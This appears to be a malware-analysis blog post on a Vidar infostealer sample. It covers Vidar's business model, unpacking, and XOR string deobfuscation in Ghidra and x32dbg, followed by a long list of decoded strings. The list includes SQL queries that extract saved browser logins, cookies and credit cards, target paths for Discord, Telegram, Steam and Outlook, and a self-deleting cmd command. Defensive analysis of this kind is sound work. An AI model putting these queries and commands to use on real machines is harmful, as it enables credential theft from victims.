What is Vidar?

Before I discuss my analysis of the sample, here is a quick synopsis and explanation of Vidar and how it functions in the ecosystem of malicious software (malware).

Vidar, is a fairly advanced and notorious infostealer, it is one of the most popular examples of MaaS (Malware as a Service). It is capable and configurable, and can be incredibly profitable for threat actors targeting domestic consumers and companies.

Unlike ransomware, which typically yields higher profits when deployed against enterprises with the resources to pay large ransoms, infostealers like Vidar exploit a broader range of victims. Ransomware operators often count on companies’ willingness to pay in order to recover critical data, even though successful decryption is far from guaranteed. Often when companies refuse to pay, threat actors frequently resort to data extortion, threatening to leak sensitive corporate information as a form of added leverage.

For individual consumers, however, this tactic doesn’t carry the same weight. The average user lacks both the financial means to pay a ransom and the sensitive data that would severely impact them if leaked. While a company faces significant reputational and operational risks if its intellectual property or critical infrastructure is exposed, the personal data of a single user holds far less value as leverage in a negotiation. As a result, Vidar and similar infostealers thrive by silently siphoning valuable information—passwords, credentials, cryptocurrency wallets, tokens and databases—without the need for high-stakes extortion schemes that typically only pay out substantially to the threat actors with large organizations.

With this information about users stolen, infostealer operators can go on to sell information of users to other parties. They could either sell snippets of credentials, bundle them under categories, or even pre-test the credentials to later sell them at a higher price.

What does Vidar often steal?

  • Cryptocurrency Keys/Wallets (Monero’s.key file)
  • Browser Credentials/DBs, (Opera, Firefox, Chrome etc),
  • Browser Autofill,
  • Browser Profiles,
  • Browser Download History,
  • Browser Cookies, (Firefox),
  • Google Accounts/tokens,
  • File Manager Clients, (Filezilla, WinSCP),
  • Credit Cards,
  • Cloud Provider Data,
  • System Info,
  • Steam Library, Steam Tokens,
  • Generic Userdata,
  • Telegram Data,
  • Discord DBs/Tokens,
  • Pidgin/purple DBs,
  • Caches/searches User Directories
  • Outlook Accounts
  • Tox Data

Surface Level Analysis

Metadata from the original PeEXE:

It is a 32 bit .net binary:

SHA-256: 325396d5ffca8546730b9a56c2d0ed99238d48b5e1c3c49e7d027505ea13b8d1

Compilation time: 2024-08-17 01:24:51 UTC

Processes Graph:
(any.run)

-any.run – attack chain

From this initial analysis we can gather that the original malicious executable unpacks in some way and is likely related to Vidar.

To make sure that this is the case, I tend to look at the imports table to see if there are indications of packing. If there are only a couple Windows API imports then we know that it is packed:

Additionally you can use DIE (Detect it Easy), it has a nice visualization graph. Here is our sample:

Packed:

Unpacked:

As well as different imagery there are more sections to the PE file.

Unpacking

In order to unpack our Vidar sample I ended up using MalUnpack/PE-Sieve, you can also use a debugger at this point but the former worked quite well.

The part where the original PEexe unpacks itself:

After the the tool has unpacked the original executable we are left with the malware’s main exe:

From this point on we can start to reverse engineer the sample.

Initial Triage

Upon opening the sample in Ghidra (decompiler) and using strings we can see that it makes references to programs and DLLs that it likely steals or uses to steal. We can also see a seemingly unrelated paragraph:

String Obfuscation

After looking at this function we can tell it is some kind of deobfuscator/obfuscator as it takes param_2 (the key) and XORes it with a byte from the memory location of lpAddress and local_c:

After renaming (the func is now deobfuscateStrings instead of FUN_005…):

Additionally this function is cross referenced 317 times, which could be fluff, or another sign that it is used to deobfuscate strings in other functions:

After looking into where the deobfuscateStrings function is referenced we can see that it is used to deobfuscate obfuscated XOR strings:


Unpacking/Debugging

With this information I copied the sample into a debugger (x32dbg), “zero” the debugger, make sure the entry memory location of the exe is the same as Ghidra, and set a break point (bp) to the memory address of the deobfuscated strings function. As you step through the debugger you can start to see the obfuscated XOR strings as well as the deobfuscated counterparts that we are after:

The right side of this is where the executed instructions are outputted, at the bottom right is where the obfuscated strings are located (partially), where esp+8 is, is the current obfuscated string, at the top right where EAX is, is the deobfuscated string:

Now that we are able to deobfuscate the obfuscated strings we can attempt to automatically dump them. To do this in x32dbg/x64dbg we can modify the BP to log obfuscated and deobfuscated strings so that we can get a better idea of what the malware is capable of, and to later aid in our static reversing efforts.

After we have ran this we can go to logs and we now have both encoded and decoded strings:

Now that we have the strings deobfuscated we can start to rename the global variables that are equal to the obfuscated strings (all 317 of them!).

Once you complete renaming the global variables it makes reversing much more simple.

List of Strings:

strings:
  • Encoded: “AVAI4Z1EK55HX1Z” Decoded: ???
  • Encoded: “RFEIIFGJPLP9L9” Decoded: “INSERT_KEY_HERE”
  • Encoded: “ID6FU8QO2NLA” Decoded: “GetProcAddress”
  • Encoded: “EMCYW2CP” Decoded: “LoadLibraryA”
  • Encoded: “GZD7OW3LV7” Decoded: “lstrcatA”
  • Encoded: “OZPEB19CC3IC” Decoded: “OpenEventA”
  • Encoded: “M07IB4G0ZX7” Decoded: “CreateEventA”
  • Encoded: “52SA9” Decoded: “CloseHandle”
  • Encoded: “07EE359VU9KKZTZIGENM” Decoded: “Sleep”
  • Encoded: “AGV8E4H11UMS19MEZE” Decoded: “GetUserDefaultLangID”
  • Encoded: “JR1LXCU6BF8” Decoded: “VirtualAllocExNuma”
  • Encoded: “ZYYFX8TMF98XH” Decoded: “VirtualFree”
  • Encoded: “3AW1TZHUSC55” Decoded: “GetSystemInfo”
  • Encoded: “VYSSOI3C3” Decoded: “VirtualAlloc”
  • Encoded: “C5YNDB22TEK3TSWP” Decoded: “HeapAlloc”
  • Encoded: “2ML7NGW2” Decoded: “GetComputerNameA”
  • Encoded: “KCJB301FVO1F8O” Decoded: “lstrcpyA”
  • Encoded: “PYP197UBBG6DW6REP” Decoded: “GetProcessHeap”
  • Encoded: “5I5CB119” Decoded: “GetCurrentProcess”
  • Encoded: “2NFIF0RQN6X” Decoded: “lstrlenA”
  • Encoded: “SVHYIIACF0E4XR856DLO” Decoded: “ExitProcess”
  • Encoded: “6Y2GUP36POWJ9” Decoded: “GlobalMemoryStatusEx”
  • Encoded: “4V4YTX4AZVJYSS1G5UNB” Decoded: “GetSystemTime”
  • Encoded: “S132AE2PEW0D” Decoded: “SystemTimeToFileTime”
  • Encoded: “5535EHNQR” Decoded: “advapi32.dll”
  • Encoded: “NHCTSB7B0U” Decoded: “gdi32.dll”
  • Encoded: “4JHQC1BXO4P” Decoded: “user32.dll”
  • Encoded: “6C5F3WY6B” Decoded: “crypt32.dll”
  • Encoded: “YH6UFU1ISD5N” Decoded: “ntdll.dll”
  • Encoded: “NC63XP0DD” Decoded: “GetUserNameA”
  • Encoded: “T8VBQFHOYOIFZ” Decoded: “CreateDCA”
  • Encoded: “5XNXKSA2F” Decoded: “GetDeviceCaps”
  • Encoded: “L9BS99LFH827FIKSYPU4” Decoded: “ReleaseDC”
  • Encoded: “3YWHYG” Decoded: “CryptStringToBinaryA”
  • Encoded: “JQAFHDKOWW98FHCTHKN10OCFV” Decoded: “sscanf”
  • Encoded: “DQ8LXM43304F” Decoded: “NtQueryInformationProcess”
  • Encoded: “B0ZX0V” Decoded: “VMwareVMware”
  • Encoded: “XS0JM1K” Decoded: “HAL9TH”
  • Encoded: “QM47P4O” Decoded: “JohnDoe”
  • Encoded: “5TEXMC9JFEL” Decoded: “DISPLAY”
  • Encoded: “RIOFTYE92OW43DGBGA96O5Q” Decoded: “”
  • Encoded: “JSWCLYWOMW85T5K3G3” Decoded: “GetEnvironmentVariableA”
  • Encoded: “PB9IZKTFB2” Decoded: “GetFileAttributesA”
  • Encoded: “JGH7V1EX” Decoded: “GlobalLock”
  • Encoded: “7V3LGAKH5IX” Decoded: “HeapFree”
  • Encoded: “F5H3D84QB3” Decoded: “GetFileSize”
  • Encoded: “LSFW3EGPAJ11X5UAE498RPLS” Decoded: “GlobalSize”
  • Encoded: “66CME90LD4VDXY” Decoded: “CreateToolhelp32Snapshot”
  • Encoded: “N5D2485OILIC4” Decoded: “IsWow64Process”
  • Encoded: “AQCM6GX06C3K” Decoded: “Process32Next”
  • Encoded: “BTPX3KQMPRD” Decoded: “GetLocalTime”
  • Encoded: “4YUNWRY1DBE04ASY7A8Q3J” Decoded: “FreeLibrary”
  • Encoded: “R2OP0PA20PSNHXL2BIIK” Decoded: “GetTimeZoneInformation”
  • Encoded: “0J72VXLVTMQAJVG28G1J0” Decoded: “GetSystemPowerStatus”
  • Encoded: “LLZHR24ME9ZITTI5W4CE” Decoded: “GetVolumeInformationA”
  • Encoded: “PIN8SDWQT44R8U” Decoded: “GetWindowsDirectoryA”
  • Encoded: “O8HUE4QIPN110C” Decoded: “Process32First”
  • Encoded: “87MMYELD71ZNGN3KEIK8EJXC” Decoded: “GetLocaleInfoA”
  • Encoded: “0IXG29G1MUSWRS23JL” Decoded: “GetUserDefaultLocaleName”
  • Encoded: “AQ50YCPFJSQ” Decoded: “GetModuleFileNameA”
  • Encoded: “27YJKVQREK7U7” Decoded: “DeleteFileA”
  • Encoded: “AV4H2VQQZ” Decoded: “FindNextFileA”
  • Encoded: “2JHG9TU0X” Decoded: “LocalFree”
  • Encoded: “0YKUW4MH6LMEBD580CIINXC” Decoded: “FindClose”
  • Encoded: “ADFPCDW76N” Decoded: “SetEnvironmentVariableA”
  • Encoded: “WG6WP9A4UZEDU” Decoded: “LocalAlloc”
  • Encoded: “1GLIJQMS” Decoded: “GetFileSizeEx”
  • Encoded: “JDVKRRPJEKOQ0O” Decoded: “ReadFile”
  • Encoded: “69LKDHN37” Decoded: “SetFilePointer”
  • Encoded: “87SNI14MQT5” Decoded: “WriteFile”
  • Encoded: “NDKM8SVVPOZX3M” Decoded: “CreateFileA”
  • Encoded: “JL69NFEQF” Decoded: “FindFirstFileA”
  • Encoded: “WM9DGSJ7864B3Y” Decoded: “CopyFileA”
  • Encoded: “9MVV2NSJJZB9P8NCO167X99OPCGR008K” Decoded: “VirtualProtect”
  • Encoded: “QW7X2TLDXNDK” Decoded: “GetLogicalProcessorInformationEx”
  • Encoded: “BHCLU6SDF” Decoded: “GetLastError”
  • Encoded: “6BANGG0HBTT01S2A0J4” Decoded: “lstrcpynA”
  • Encoded: “P3JK6ZMI94” Decoded: “MultiByteToWideChar”
  • Encoded: “63I5EUV7KWNV6V3UTKY” Decoded: “GlobalFree”
  • Encoded: “KK4WXXMW0DY” Decoded: “WideCharToMultiByte”
  • Encoded: “380MEZK5W8G” Decoded: “GlobalAlloc”
  • Encoded: “DPXR47YRMFCTZUCG” Decoded: “OpenProcess”
  • Encoded: “VH2853W2O5TQDJYY0DG” Decoded: “TerminateProcess”
  • Encoded: “O9F3P7J1S1O” Decoded: “GetCurrentProcessId”
  • Encoded: “A1CTYX39L” Decoded: “gdiplus.dll”
  • Encoded: “K34C8NINCQ” Decoded: “ole32.dll”
  • Encoded: “O3WNXGQNNAW” Decoded: “bcrypt.dll”
  • Encoded: “BDBA51NUVA4” Decoded: “wininet.dll”
  • Encoded: “016UFC5BZ5Z” Decoded: “shlwapi.dll”
  • Encoded: “BMUNOOMIK” Decoded: “shell32.dll”
  • Encoded: “P9ZJ03CDV42R” Decoded: “psapi.dll”
  • Encoded: “PUC4RCBNSML0LBYPRN8IM0” Decoded: “rstrtmgr.dll”
  • Encoded: “O1CW4MA1Q5DI” Decoded: “CreateCompatibleBitmap”
  • Encoded: “W2ST7L” Decoded: “SelectObject”
  • Encoded: “K51DY87YEWWI” Decoded: “BitBlt”
  • Encoded: “5UEZFL14IZN06QWCP6” Decoded: “DeleteObject”
  • Encoded: “77PW7R8KCEZFIOFH9TE6XG1D” Decoded: “CreateCompatibleDC”
  • Encoded: “DVSAHIL5JIYY2IWX04IX” Decoded: “GdipGetImageEncodersSize”
  • Encoded: “FCR9VYQD8SI1GMTM97D4236AZQP” Decoded: “GdipGetImageEncoders”
  • Encoded: “06QG27D8BDTPT1” Decoded: “GdipCreateBitmapFromHBITMAP”
  • Encoded: “H6097SPZJY21O5L” Decoded: “GdiplusStartup”
  • Encoded: “FRJFJZHSMQ3CORIQSUCU7” Decoded: “GdiplusShutdown”
  • Encoded: “GA179BX2OBTIW5WJ” Decoded: “GdipSaveImageToStream”
  • Encoded: “KJBAONSE” Decoded: “GdipDisposeImage”
  • Encoded: “QAHAIJGLKO9QSHJYUZ8O” Decoded: “GdipFree”
  • Encoded: “K32WWGIKATS2SXQ83WUE4” Decoded: “GetHGlobalFromStream”
  • Encoded: “H7I6F1CANQYPD4” Decoded: “CreateStreamOnHGlobal”
  • Encoded: “XIVOBA6K15G8” Decoded: “CoUninitialize”
  • Encoded: “50K47F3UC5TZQPGK” Decoded: “CoInitialize”
  • Encoded: “XC3MO23ZIISD86GMZH5LZSSTVT” Decoded: “CoCreateInstance”
  • Encoded: “11Z57V4WXYB3TC7UWZW0WGZG9JU4” Decoded: “BCryptGenerateSymmetricKey”
  • Encoded: “UFTK14BBANL7I” Decoded: “BCryptCloseAlgorithmProvider”
  • Encoded: “LJRK5X3NE63657VCS” Decoded: “BCryptDecrypt”
  • Encoded: “5XB9CSE1CZA6UIOZ” Decoded: “BCryptSetProperty”
  • Encoded: “RK7H6EV0QPI0O67Q8SRX5IJ0NT3” Decoded: “BCryptDestroyKey”
  • Encoded: “82RUXOGNWX5W1” Decoded: “BCryptOpenAlgorithmProvider”
  • Encoded: “BKSWJOMG1U7B013J” Decoded: “GetWindowRect”
  • Encoded: “AG3MK” Decoded: “GetDesktopWindow”
  • Encoded: “X794VLISK2C” Decoded: “GetDC”
  • Encoded: “60VUZXR8H” Decoded: “CloseWindow”
  • Encoded: “WGIUT6XMEWRBKQONT1Y” Decoded: “wsprintfA”
  • Encoded: “CEXR14FAFITNZ5EYQZOLY” Decoded: “EnumDisplayDevicesA”
  • Encoded: “X5OYLBWKHH” Decoded: “GetKeyboardLayoutList”
  • Encoded: “G526C9ZQZ” Decoded: “CharToOemW”
  • Encoded: “N6SDVI1GF27XFPAP” Decoded: “wsprintfW”
  • Encoded: “JI3Q3T08BMR69” Decoded: “RegQueryValueExA”
  • Encoded: “CY1IY82F13PT4” Decoded: “RegEnumKeyExA”
  • Encoded: “RRJUBQ2R306” Decoded: “RegOpenKeyExA”
  • Encoded: “A64GUCI05HCDG” Decoded: “RegCloseKey”
  • Encoded: “OQRHJRPN68CIYQLBESI8” Decoded: “RegEnumValueA”
  • Encoded: “5I2DWUZVZYXOODFV8U” Decoded: “CryptBinaryToStringA”
  • Encoded: “HMLSD7275V6Y1Z4F” Decoded: “CryptUnprotectData”
  • Encoded: “LGXNVY23YILX4VL” Decoded: “SHGetFolderPathA”
  • Encoded: “0CTK5WME4LYYDYA7” Decoded: “ShellExecuteExA”
  • Encoded: “7TI297V8SUR45WEC” Decoded: “InternetOpenUrlA”
  • Encoded: “KKGVHO8S8C3C79YFYLN” Decoded: “InternetConnectA”
  • Encoded: “EV3L3RU2LFSII” Decoded: “InternetCloseHandle”
  • Encoded: “HVO2ROZTU037ESBS” Decoded: “InternetOpenA”
  • Encoded: “5MGUIARQ8NEWWXNP” Decoded: “HttpSendRequestA”
  • Encoded: “3V5LV5XJV4T59OY9” Decoded: “HttpOpenRequestA”
  • Encoded: “TJP2MY9GE74EKD67N” Decoded: “InternetReadFile”
  • Encoded: “OESXZ79Z” Decoded: “InternetCrackUrlA”
  • Encoded: “68OQVRU” Decoded: “StrCmpCA”
  • Encoded: “YECMHUDE” Decoded: “StrStrA”
  • Encoded: “VYGXBS9S7VRVKG” Decoded: “StrCmpCW”
  • Encoded: “L3MPDQ0V0TQJQFAUZ2K9” Decoded: ???
  • Encoded: “69TJ8G6PQ5E5KS” Decoded: “GetModuleFileNameExA”
  • Encoded: “3J91RXOA7XH2C4SN5ZK” Decoded: “RmStartSession”
  • Encoded: “KJLKCR6TK” Decoded: “RmRegisterResources”
  • Encoded: “E4PU97L0U8LX” Decoded: “RmGetList”
  • Encoded: “V6B5CGDC7D9O” Decoded: “RmEndSession”
  • Encoded: “V9JS87KUDD5DIX2FT1” Decoded: “sqlite3_open”
  • Encoded: “27NXZMJOAL3R” Decoded: “sqlite3_prepare_v2”
  • Encoded: “NB5A99Y22XX1TRA8XON” Decoded: “sqlite3_step”
  • Encoded: “8TFKBB7K6JU681W0” Decoded: “sqlite3_column_text”
  • Encoded: “4HIX2Q09FJWDI” Decoded: “sqlite3_finalize”
  • Encoded: “MK1W748I138BZ2TI1ZA7” Decoded: “sqlite3_close”
  • Encoded: “0G1O0US2FE1O4BT82JA” Decoded: “sqlite3_column_bytes”
  • Encoded: “6XSDNJWDYG1OU” Decoded: “sqlite3_column_blob”
  • Encoded: “WFRG” Decoded: “encrypted_key”
  • Encoded: “TM5NMFCWBTHYIVPRYDJIDNF” Decoded: “PATH”
  • Encoded: “ER3WO0H2” Decoded: “C:\ProgramData\nss3.dll”
  • Encoded: “YUNOPOXTSPQL” Decoded: “NSS_Init”
  • Encoded: “ZPPPVL66S6JCFH06SSX541S” Decoded: “NSS_Shutdown”
  • Encoded: “E4G9CAT12WCPZ” Decoded: “PK11_GetInternalKeySlot”
  • Trace finished after 0 steps!
  • Encoded: “CNBC3KJ2KLJIX1B91” Decoded: “PK11_FreeSlot”
  • Encoded: “VQ86LVOL459EQQD” Decoded: “PK11_Authenticate”
  • Encoded: “2B4ERVBTR03T71O” Decoded: “PK11SDR_Decrypt”
  • Encoded: “JS1ABVQ312W09PKX35FPW76SGT6QFRCRUPVQNQOSLIDM44CEHD9X1L2MVJ3RY” Decoded: “C:\ProgramData\”
  • Encoded: “9XJZFG” Decoded: “SELECT origin_url, username_value, password_value FROM logins”
  • Encoded: “U33KNQXEN” Decoded: “Soft: “
  • Encoded: “3UXMR2” Decoded: “profile: “
  • Encoded: “JCSO0JW” Decoded: “Host: “
  • Encoded: “J4DW63LU3W” Decoded: “Login: “
  • Encoded: “ZYRLN” Decoded: “Password: “
  • Encoded: “2VHDHPS” Decoded: “Opera”
  • Encoded: “BVRA60V” Decoded: “OperaGX”
  • Encoded: “0LP77T8″ Decoded: &L”l %ld could not be located in the dynamic link library %hs.\r\n”
  • Encoded: “G1T4” Decoded: “Cookies”
  • Encoded: “22988X9Q6J6HXBH03SE67V9DLJ1U1OW4YJPWSDW3BP4L3E25Z3FXWX6G26WY6OYRXCSOWVH05L5R1XJHR558J8HAMI3WQ86W1MY0VOIEVO2L2OPFWPGA” Decoded: &”.txt”
  • Encoded: “TZIY” Decoded: “SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies”
  • Encoded: “4SBO1” Decoded: “TRUE”
  • Encoded: “VK7OI0O9” Decoded: “FALSE”
  • Encoded: “SVDX1M4F6I72Y9A16DBEA6CM4MAE57TY” Decoded: “Autofill”
  • Encoded: “BFD3CN2” Decoded: “SELECT name, value FROM autofill”
  • Encoded: “MNS8JDVDVJFSFYJ9WT12PM0K9YI1S5H” Decoded: “History”
  • Encoded: “YS” Decoded: “SELECT url FROM urls LIMIT 1000”
  • Encoded: “LY0R73IJIP4ZPOA1GRKLUNAWI9V54UZCR949TRYZSTG76UUKI9MO6N88YDJ8INOYZ1IPTBIY2U2AGD0XPKX4ILGDB6KPI0R” Decoded: “CC”
  • Encoded: “EFRHEM” Decoded: “SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards”
  • Encoded: “E0G1XVL” Decoded: “Name: “
  • Encoded: “U71UNW” Decoded: “Month: “
  • Encoded: “T70TPN” Decoded: “Year: “
  • Encoded: “VEOX03Q” Decoded: “Card: “
  • Encoded: “CCX5Z6WKKU” Decoded: “Cookies”
  • Encoded: “QDVZ4TEF” Decoded: “Login Data”
  • Encoded: “0CWGUOV” Decoded: “Web Data”
  • Encoded: “B4SHZCP8GTJ” Decoded: “History”
  • Encoded: “6BBY0LINJQ4Y1” Decoded: “logins.json”
  • Encoded: “VKSA145SJKXBE” Decoded: “formSubmitURL”
  • Encoded: “DURAFPFVXCDCLK7HE” Decoded: “usernameField”
  • Encoded: “EHF0WPUPHMY0W0OWW” Decoded: “encryptedUsername”
  • Encoded: “HY5I” Decoded: “encryptedPassword”
  • Encoded: “LPSG7HP7PT7KFFP6NQF7V8CR4AMZQYCJL532XTYIFR120PRV80I1T8XMMAM650R0QY9JLXI3161DG” Decoded: “guid”
  • Encoded: “K1OT10ZQL0MIQPXH1MPAAMCQIJKSO9WHUGCI8NE91KE7” Decoded: “SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies”
  • Encoded: “XB4HUWAUMDF8Z7LRPHBMEFXKNOIOIPI0HE2GO” Decoded: “SELECT fieldname, value FROM moz_formhistory”
  • Encoded: “D719B4QADTACWT” Decoded: “SELECT url FROM moz_places LIMIT 1000”
  • Encoded: “UI12SNU3FNVL75P0UF” Decoded: “cookies.sqlite”
  • Encoded: “EDMKJNCLHKK5I” Decoded: “formhistory.sqlite”
  • Encoded: “LV5XRPM” Decoded: “places.sqlite”
  • Encoded: “K33J1ONZ6VVM958SHK9OZGGK” Decoded: “Plugins”
  • Encoded: “TKFK0BH7LI4LJCS5AMOVY75” Decoded: “Local Extension Settings”
  • Encoded: “NNCXNSBWD” Decoded: “Sync Extension Settings”
  • Encoded: “WTZQJC95OXB1” Decoded: “IndexedDB”
  • Encoded: “AXJE1DON2UVWP17” Decoded: “Opera Stable”
  • Encoded: “XN3PKV0” Decoded: “Opera GX Stable”
  • Encoded: “YZNBW7MTGB5EMZ3TW” Decoded: “CURRENT”
  • Encoded: “OXJLC8DBRFMRVH1FK8T1” Decoded: “chrome-extension_”
  • Encoded: “0RQAJOT1KPH” Decoded: “_0.indexeddb.leveldb”
  • Encoded: “34HAWMPW1J9F” Decoded: “Local State”
  • Encoded: “1ACV3D” Decoded: “profiles.ini”
  • Encoded: “8C1J1” Decoded: “chrome”
  • Encoded: “67GIBXO” Decoded: “opera”
  • Encoded: “M1C8TWO” Decoded: “firefox”
  • Encoded: “GE25M2S0MY9H2” Decoded: “Wallets”
  • Encoded: “0XMMQTDKDQDN8M7IC3QPGW9FHORJFURI45YZOZR9TDDY” Decoded: “%08lX%04lX%lu”
  • Encoded: “ZROPUSJ5T1V” Decoded: “SOFTWARE\Microsoft\Windows NT\CurrentVersion”
  • Encoded: “DXG” Decoded: “ProductName”
  • Encoded: “FBB” Decoded: “x32”
  • Encoded: “3FS84TDXH3NLR5DTL” Decoded: “x64”
  • Encoded: “QZACYXLWZCJVBITQ708UZ48K1MY6TB5STMZPB9ERHLFQ3C” Decoded: “%d/%d/%d %d:%d:%d”
  • Encoded: “GV35TFF9VW1ZKL8PDXG” Decoded: “HARDWARE\DESCRIPTION\System\CentralProcessor\0”
  • Encoded: “0CYSDO8VQMNZRQZGDCYSZNT1DYLZ2T2IRJDARCZQVUYWH7JIVF5” Decoded: “ProcessorNameString”
  • Encoded: “MPFQNS7OPDI” Decoded: “SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall”
  • Encoded: “27UEHHNZYANH7F” Decoded: “DisplayName”
  • Encoded: “Y6TGODEXXP3” Decoded: “DisplayVersion”
  • Encoded: “M2ZRUXJNM21” Decoded: “freebl3.dll”
  • Encoded: “CDZC45Q49HHL” Decoded: “mozglue.dll”
  • Encoded: “YVOIBAEE” Decoded: “msvcp140.dll”
  • Encoded: “JEK5OXHEND4V” Decoded: “nss3.dll”
  • Encoded: “M74QQMIIG3QWERB5” Decoded: “softokn3.dll”
  • Encoded: “GOINHX” Decoded: “vcruntime140.dll”
  • Encoded: “R823” Decoded: “\Temp\”
  • Encoded: “XHYMQ” Decoded: “.exe”
  • Encoded: “6NV9” Decoded: “runas”
  • Encoded: “0172Z268P” Decoded: “open”
  • Encoded: “XY17WM884” Decoded: “/c start “
  • Encoded: “ROYQ5YWZA” Decoded: “%DESKTOP%”
  • Encoded: “U3MUJSSKDIWTVL” Decoded: “%APPDATA%”
  • Encoded: “ZCKDCZULOSB5H” Decoded: “%LOCALAPPDATA%”
  • Encoded: “KK6JFA1MECD” Decoded: “%USERPROFILE%”
  • Encoded: “PIPMIZLL6C9NVU” Decoded: “%DOCUMENTS%”
  • Encoded: “U9QIP4TNKH9H9RS39” Decoded: “%PROGRAMFILES%”
  • Encoded: “U9GX4JID” Decoded: “%PROGRAMFILES_86%”
  • Encoded: “ZHZ9F” Decoded: “%RECENT%”
  • Encoded: “L6KYV” Decoded: “.lnk” Encoded: “AKDZIUC7I” Decoded: “Files” Encoded: “MB042CDOOP6ZZHF0X3NF6C7K6ST551” Decoded: “\discord\” Encoded: “WV6B6B8M67B6S515LC89V0” Decoded: “\Local Storage\leveldb\CURRENT” Encoded: “Y1LJEP8KTISX3L2XLD” Decoded: “\Local Storage\leveldb” Encoded: “1K6QE9UBS” Decoded: “\Telegram Desktop\” Encoded: “AGQ66G57F0W7TOWO2” Decoded: “key_datas” Encoded: “O5CQ” Decoded: “D877F783D5D3EF8C
  • Encoded: “CX15HK4IXMZC67DCM” Decoded: “map” Encoded: “VR7NX7ZFI5KCLUZ9C” Decoded: “A7FDF864FBC10B77
  • Encoded: “8TYAZ5AYRO65WRSLQ” Decoded: “A92DAA6EA6F891F2” Encoded: “2NECO0B0” Decoded: “F8806DD0C461824F
  • Encoded: “9PT” Decoded: “Telegram”
  • Encoded: “GL1AC” Decoded: “Tox”
  • Encoded: “48UNL” Decoded: “.tox” Encoded: “6W6YGT2J” Decoded: “.ini”
  • Encoded: “VN1152L59T3XJZPRSGW632S87E61HNIGIRNB2OQ9ZH4O00CGGPFA66Q343306TXVLWO2MOZEZXHV7EHGCZV1HIKLAUG8VZCFTJDELJ410BKIZ460VXYG86NDLC2” Decoded: “Password”
  • Encoded: “1H0T9UBCYAD4243BG7BVFYQN7B6GW5A2JRDUASKXX2H0S26MF5HFKRWD1MV8Y5P3AKVL1IAXXN8NQZ5EFTB1X5S15” Decoded: “Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\”
  • Encoded: “92X7L92MO0HHVV64US6TIXBRQ3F4YFE23P2PMZLOFBB9Y7U8E6CNVIWL1GQS48YJVONF3QR4GSNHVB2TJGZ1C1HU2” Decoded: “Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\”
  • Encoded: “QYGI3UHN2OJTOFYPHGC5P0ZO7IXI6G3H3MN1LWN8F43XT95BBM4VEZNZ91LV68QVVC0C26DV3EZV6C58NVHUMIC” Decoded: “Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\”
  • Encoded: “E9X2TL2BHNHCQI2JEII2991376MIL15JM9WCEETKADSHZ9OZULDMDQDEH45W8UZQS8ZRW0EAY816QUD7SWY9XTG” Decoded: “Software\Microsoft\Office\r.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\”
  • Encoded: “65R5KI7MQNCZ1K6D3GDXFZHXX08DL6Z2913VE4411VKSO5MXVT42U6AHY3HUK3AUXKZ9RL99ML5TPYJ2NKR2B7HD1” Decoded: ???
  • Encoded: “V6KXJQ8U” Decoded: “Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\”
  • Encoded: “Z4EFNFKU” Decoded: “00000001”
  • Encoded: “4QJAR2AU” Decoded: “00000002”
  • Encoded: “PG9LIS0C” Decoded: “00000003”
  • Encoded: “WI5OYMD468Z3FX9FHHHQ8” Decoded: “00000004”
  • Encoded: “CJ360H” Decoded: “\Outlook\accounts.txt”
  • Encoded: “CRXMGEBSF” Decoded: “Pidgin”
  • Encoded: “K66SNOESCGO2” Decoded: “\.purple\”
  • Encoded: “H4DBLJEU8BS” Decoded: “accounts.xml”
  • Encoded: “7EANJWT” Decoded: “dQw4w9WgXcQ”
  • Encoded: “ZDE44LLYDT801ZLP5WTL” Decoded: “token: “
  • Encoded: “4478HIN8O” Decoded: “Software\Valve\Steam”
  • Encoded: “MB46TQKX” Decoded: “SteamPath”
  • Encoded: “NA2ZX” Decoded: “\config\”
  • Encoded: “FUVHK2VYE1” Decoded: “ssfn” Encoded: “ZKY5GGWW7NJ0SD3I” Decoded: “config.vdf” Encoded: “IB1SW0VHYMM97VMZIKFV4VER” Decoded: “DialogConfig.vdf” Encoded: “0O5MNPCSNCTU6VE9ZR” Decoded: “DialogConfigOverlay.vdf”
  • Encoded: “G43XYMAUSI8INX” Decoded: “libraryfolders.vdf”
  • Encoded: “7K2I5J3” Decoded: “loginusers.vdf”
  • Encoded: “JJ4V5B22WFG” Decoded: “\Steam\”
  • Encoded: “6MPJYC0S” Decoded: “sqlite3.dll”
  • Encoded: “L364” Decoded: “browsers”
  • Encoded: “UFY6” Decoded: “done”
  • Encoded: “XW36DPY7U9B2LI15C2L” Decoded: “Soft”
  • Encoded: “BIXWZRM79MPJQGEEF2ICRYRZYB7HD” Decoded: “\Discord\tokens.txt”
  • Encoded: “BA113XY9ADO0RYUFZVWGDVC4Z4M087YUF48LXS” Decoded: “/c timeout /t 5 & del /f /q \””
  • Encoded: “WSQEFZ3L9A7U8PLB9P77C9L7BCP” Decoded: “\” & del \”C:\ProgramData\*.dll\”\” & exit”
  • Encoded: “4VW0I” Decoded: “C:\Windows\system32\cmd.exe”
  • Encoded: “RH9DZ9QNAN4M3O8IJE5SO0QXHTDCJ90MJYC1QHLA9T6YE8EX” Decoded: “https”
  • Encoded: “EGUQ” Decoded: “Content-Type: multipart/form-data; boundary=—-“
  • Encoded: “1H401M5G” Decoded: “POST”
  • Encoded: “6OEBWSCELH2B34S441SJOP7COKVC4LAEMEEVP4” Decoded: “HTTP/1.1”
  • Encoded: “BW59” Decoded: “Content-Disposition: form-data; name=\””
  • Encoded: “L6OTX” Decoded: “hwid”
  • Encoded: “6YA69” Decoded: “build”
  • Encoded: “3W1QQBXM6” Decoded: “token”
  • Encoded: “AK9H” Decoded: “file_name”
  • Encoded: “XZY07O9” Decoded: “file”
  • Encoded: “06NODAY4WYN3PAK0MXEOHYZ5ZLZ049G0V7J7” Decoded: “message”
  • Encoded: “INMPM20IXQUGN9” Decoded: “ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890”

Reversing Vidar

